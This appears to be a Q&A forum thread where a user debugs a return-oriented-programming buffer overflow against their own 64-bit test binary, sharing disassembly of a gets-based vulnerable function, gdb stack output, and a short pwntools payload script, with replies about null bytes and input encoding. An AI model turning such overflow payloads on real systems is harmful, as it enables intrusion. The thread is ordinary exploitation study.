2

I am trying to get a ROP exploit to work on Ubuntu 18.04 LTS 64bit.

I have a 64 bit binary (Nx enabled, ASLR disabled) with vuln function as follows:

public vuln
vuln proc near

var_100= byte ptr -100h

push    rbp
mov     rbp, rsp
sub     rsp, 100h
lea     rdi, s          ; "Gimme some data!"
call    _puts
lea     rax, [rbp+var_100]
mov     rdi, rax
mov     eax, 0
call    _gets
nop
leave
retn
vuln endp

I need to overwrite the return pointer of vuln function with the libc base address where I will write parameters for execve call.

The buffer is 264 bytes long. So with 272 'A' I get the following position:

0x55555555471d <vuln+45>    ret    <0x4141414141414141>

Stack:

00:0000│ rsp  0x7fffffffe2c8 ◂— 'AAAAAAAA'

But when I try to overflow with the libc address(0x7ffff7a3a000) it is giving a SIGSEGV and it is behaving the following way:

0x55555555471d <vuln+45>    ret    <0x3061785c3030785c>

Stack:

00:0000│ rsp r11-6  0x7fffffffe2c8 ◂— 0x3061785c3030785c ('\\x00\\xa0')
01:0008│            0x7fffffffe2d0 ◂— 0xefbdbfef3361785c
02:0010│            0x7fffffffe2d8 ◂— 0x3030785cbdbf

I dont know where am I going wrong!!!! I have put so many days in it but to no extent. I have done buffer overflow before but never encountered this problem.

Following is my python script that is generating the payload (this is only to overflow the return address):

#! /usr/bin/env python2

from pwn import *

payload = 'A' * 264
payload += p64(0x7ffff7a3a000)

print(payload)
  • I think this is a problem with printing from python as there's \\x00\\xa0 at stack top instead of the actual \x00 and \xa0 bytes. How are you providing input if i may ask? – sudhackar Oct 22 at 6:46
1

The zero in the address that you are passing is causing the string to be terminated and the following values to not be stored. You won't be able to return directly to libc that way. Instead, you'll need a different address that can either branch to libc directly (but contains no zeroes in the address), or which can push that value for you before performing a ret itself.

  • I showed this just as an example. Sorry for the confusion. But I have an entire ROP chain coded. In the ROP Chain payload the first statement is a move instruction. The mov instruction is at the address (0x7ffff7a3a000+0x2c42c). As you can see there are no zeroes here but still I get the same result. I have tried putting address from main function or any other function. But I get the same result. – Kainaat Singh Jan 12 at 19:49

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.